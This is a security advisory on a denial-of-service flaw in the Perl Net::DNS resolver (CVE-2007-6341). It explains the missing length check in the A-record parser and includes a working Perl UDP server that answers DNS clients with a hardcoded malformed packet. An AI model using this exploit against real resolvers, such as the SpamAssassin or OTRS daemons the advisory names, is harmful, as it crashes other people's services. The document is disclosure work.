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  Net::DNS Malformed Packet DoS
------------------------------------------------------------------------


SUMMARY

 <http://www.net-dns.org/> Net::DNS is "a DNS resolver implemented in 
Perl. It allows the programmer to perform nearly any type of DNS query 
from a Perl script". beSTORM's DNS Server module has been able to detect a 
vulnerability in Net::DNS allows a malicious server to cause the Net::DNS 
package to crash by sending it a malformed DNS response, this in turn 
would cause any product using the package to crash with it.

DETAILS

Vulnerable Systems:
 * Net::DNS version 0.60 build 654

It is possible to cause Net::DNS to "croak" by responding to it with a 
malformed DNS response.

The croak itself doesn't allow you to overflow or execute arbitrary code, 
but as it cannot be captured using normal Perl code - as with an eval() 
function for example - a user of the Net::DNS package can be caused to 
"crash", his program to forcefully terminate if it encounters this DNS 
response.

The problem steams from the fact that:
if ($self->{"rdlength"} > 0) {
$self->{"address"} = inet_ntoa(substr($$data, $offset, 4));
 

found in Net/DNS/RR/A.pm

Doesn't properly verify that $$data has 4 bytes to read before attempting 
to substr - which in turn causes the data sent to inet_ntoa to not have 
enough bytes which causes this code:
ip_address = SvPVbyte(ip_address_sv, addrlen);
if (addrlen == sizeof(addr) || addrlen == 4)
addr.s_addr =
(ip_address[0] & 0xFF) << 24 |
(ip_address[1] & 0xFF) << 16 |
(ip_address[2] & 0xFF) << 8 |
(ip_address[3] & 0xFF);
else
croak("Bad arg length for %s, length is %d, should be %d", 
"Socket::inet_ntoa", addrlen, sizeof(addr));

To issue a "croak" - causing the perl to abort.

Severity:
The vulnerability itself doesn't pose any problem as Socket::inet_ntoa 
handles it as expected, seriousness of this vulnerability is caused by the 
fact that several other packages such as SpamAssassin and OTRS rely on 
Net::DNS for resolving hostnames - this could at the very least be a 
nuisance where an attacker can crash the daemons run by these two 
programs.

Vendor status:
We have reported this issue to Net::DNS 6 weeks ago:  
<https://rt.cpan.org/Public/Bug/Display.html?id=30316> Security issue with 
Net::DNS::Resolver, but no response has been received.

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6341> 
CVE-2007-6341

Exploit:
#!/usr/bin/perl
# Beyond Security(c)
# Vulnerability found by beSTORM - DNS Server module

use strict;
use IO::Socket;
my($sock, $oldmsg, $newmsg, $hisaddr, $hishost, $MAXLEN, $PORTNO);
$MAXLEN = 1024;
$PORTNO = 5351;
$sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp') or die 
"socket: $@";
print "Awaiting UDP messages on port $PORTNO\n";

my $oldmsg = 
"\x5a\x40\x81\x80\x00\x01\x00\x01\x00\x01\x00\x01\x07\x63\x72\x61".
"\x63\x6b\x6d\x65\x0a\x6d\x61\x73\x74\x65\x72\x63\x61\x72\x64\x03".
"\x63\x6f\x6d\x00\x00\x01\x00\x01\x03\x77\x77\x77\x0e\x62\x65\x79".
"\x6f\x6e\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f\x6d\x00".
"\x00\x01\x00\x01\x00\x00\x00\x01\x00\x04\xc0\xa8\x01\x02\x0e\x62".
"\x65\x79\x6f\x6e\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f".
"\x6d\x00\x00\x02\x00\x01\x00\x00\x00\x01\x00\x1b\x02\x6e\x73\x03".
"\x77\x77\x77\x0e\x62\x65\x79\x6f\x6e\x64\x73\x65\x63\x75\x72\x69".
"\x74\x79\x03\x63\x6f\x6d\x00\x02\x6e\x73\x0e\x62\x65\x79\x6f\x6e".
"\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f\x6d\x00\x00\x01".
"\x00\x01\x00\x00\x00\x01\x00\x01\x41";
while ($sock->recv($newmsg, $MAXLEN)) {
 my($port, $ipaddr) = sockaddr_in($sock->peername);
 $hishost = gethostbyaddr($ipaddr, AF_INET);
 print "Client $hishost said ``$newmsg''\n";
 $sock->send($oldmsg);
 $oldmsg = "[$hishost] $newmsg";
 
die "recv: $!";


ADDITIONAL INFORMATION

The information has been provided by beSTORM.
The original article can be found at:  
<http://www.beyondsecurity.com/bestorm_overview.html> 
http://www.beyondsecurity.com/bestorm_overview.html



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